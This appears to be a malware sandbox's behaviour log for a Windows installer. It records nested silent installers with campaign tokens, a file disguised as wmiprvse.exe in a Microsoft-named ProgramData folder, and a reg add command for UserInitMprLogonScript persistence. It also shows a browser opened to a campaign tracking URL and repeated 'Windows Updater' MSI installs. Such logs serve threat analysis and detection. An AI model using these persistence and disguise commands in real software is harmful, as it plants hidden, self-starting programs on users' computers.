Source: unknown	Process created: C:\Users\user\Desktop\ZmWSzgevgt.exe C:\Users\user\Desktop\ZmWSzgevgt.exe
Source: C:\Users\user\Desktop\ZmWSzgevgt.exe	Process created: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp "C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp" /SL5="$20408,832512,832512,C:\Users\user\Desktop\ZmWSzgevgt.exe"
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-0270L.tmp\setup.exe C:\Users\user\AppData\Local\Temp\is-0270L.tmp\setup.exe
Source: C:\Users\user\AppData\Local\Temp\is-0270L.tmp\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp "C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp" /SL5="$1047E,4289520,832512,C:\Users\user\AppData\Local\Temp\is-0270L.tmp\setup.exe"
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a0.exe "C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a0.exe" /VERYSILENT /PASSWORD=NtIRVUpMK9ZD30Nf98220 -token mtn1co3fo4gs5vwq -subid 2598
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a0.exe	Process created: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp "C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp" /SL5="$204E6,10235147,832512,C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a0.exe" /VERYSILENT /PASSWORD=NtIRVUpMK9ZD30Nf98220 -token mtn1co3fo4gs5vwq -subid 2598
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c expand C:\Users\user\AppData\Local\Temp\is-TMJSM.tmp\{app}\aglwjhm.cab -F:* %ProgramData%
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\expand.exe expand C:\Users\user\AppData\Local\Temp\is-TMJSM.tmp\{app}\aglwjhm.cab -F:* C:\ProgramData
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\wmiprvse.exe" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe" /f
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process created: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c start https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i^&c=5306757^&pl=0x03^&pb=1^&px=2598
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1944,i,7293326498590966015,15724221701917447522,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe" /qn CAMPAIGN="2598
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 7B2098DE867FDA1FBAC9E94E8D311FE9 C
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\system32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Johan.msi" /qn CAMPAIGN=2598 AI_SETUPEXEPATH=C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe SETUPEXEDIR=C:\Users\user\AppData\Local\Temp\is-53US7.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1701869374 /qn CAMPAIGN=""2598"" " CAMPAIGN="2598
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding CB3F137362C364F2A010C44D44B9B692
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding A0F7B99CF6F59695615DF13CC6461763 E Global\MSI0000
Source: unknown	Process created: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe "C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe" /silentall -nofreqcheck -nogui
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Process created: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe" /install silentall "C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.ini
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Process created: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe "C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe"
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 9A415338A0E06E3AA66F7530B5FE606F C
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\system32\msiexec.exe" /i "C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\System Updater.msi" AI_SETUPEXEPATH="C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe" SETUPEXEDIR="C:\ProgramData\AW Manager\Windows Manager\updates\v113\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1701869374 "
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 50B63A94597415634C568616DD551356 E Global\MSI0000
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 110 -t 8080
Source: unknown	Process created: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 111 -t 8080
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 110 -t 8080
Source: unknown	Process created: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 112 -t 8080
Source: unknown	Process created: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 111 -t 8080
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 114 -t 8080
Source: unknown	Process created: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 113 -t 8080
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 115 -t 8080
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 112 -t 8080
Source: unknown	Process created: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 113 -t 8080
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\ZmWSzgevgt.exe	Process created: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp "C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp" /SL5="$20408,832512,832512,C:\Users\user\Desktop\ZmWSzgevgt.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-0270L.tmp\setup.exe C:\Users\user\AppData\Local\Temp\is-0270L.tmp\setup.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0270L.tmp\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp "C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp" /SL5="$1047E,4289520,832512,C:\Users\user\AppData\Local\Temp\is-0270L.tmp\setup.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a0.exe "C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a0.exe" /VERYSILENT /PASSWORD=NtIRVUpMK9ZD30Nf98220 -token mtn1co3fo4gs5vwq -subid 2598	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe" /qn CAMPAIGN="2598	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a0.exe	Process created: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp "C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp" /SL5="$204E6,10235147,832512,C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a0.exe" /VERYSILENT /PASSWORD=NtIRVUpMK9ZD30Nf98220 -token mtn1co3fo4gs5vwq -subid 2598	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c expand C:\Users\user\AppData\Local\Temp\is-TMJSM.tmp\{app}\aglwjhm.cab -F:* %ProgramData%	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\wmiprvse.exe" /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process created: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c start https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i^&c=5306757^&pl=0x03^&pb=1^&px=2598	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\expand.exe expand C:\Users\user\AppData\Local\Temp\is-TMJSM.tmp\{app}\aglwjhm.cab -F:* C:\ProgramData	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe" /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1944,i,7293326498590966015,15724221701917447522,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\system32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Johan.msi" /qn CAMPAIGN=2598 AI_SETUPEXEPATH=C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe SETUPEXEDIR=C:\Users\user\AppData\Local\Temp\is-53US7.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1701869374 /qn CAMPAIGN=""2598"" " CAMPAIGN="2598
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 7B2098DE867FDA1FBAC9E94E8D311FE9 C
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding CB3F137362C364F2A010C44D44B9B692
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding A0F7B99CF6F59695615DF13CC6461763 E Global\MSI0000
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 9A415338A0E06E3AA66F7530B5FE606F C
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 50B63A94597415634C568616DD551356 E Global\MSI0000
Source: C:\Windows\System32\msiexec.exe	Process created: unknown unknown
Source: C:\Windows\System32\msiexec.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Process created: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe" /install silentall "C:\Windows\TEMP\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.ini
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Process created: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe "C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe"
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Process created: unknown unknown
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Process created: unknown unknown
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\system32\msiexec.exe" /i "C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\System Updater.msi" AI_SETUPEXEPATH="C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe" SETUPEXEDIR="C:\ProgramData\AW Manager\Windows Manager\updates\v113\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1701869374 "
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f

Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.17.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.17.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.17.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.17.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.17.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.17.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe

File written: C:\Users\user\AppData\Local\AdvinstAnalytics\57bec79515c1ec525f8858bf\1.0.0\tracking.ini

Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp

Window found: window name: TMainForm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: Next
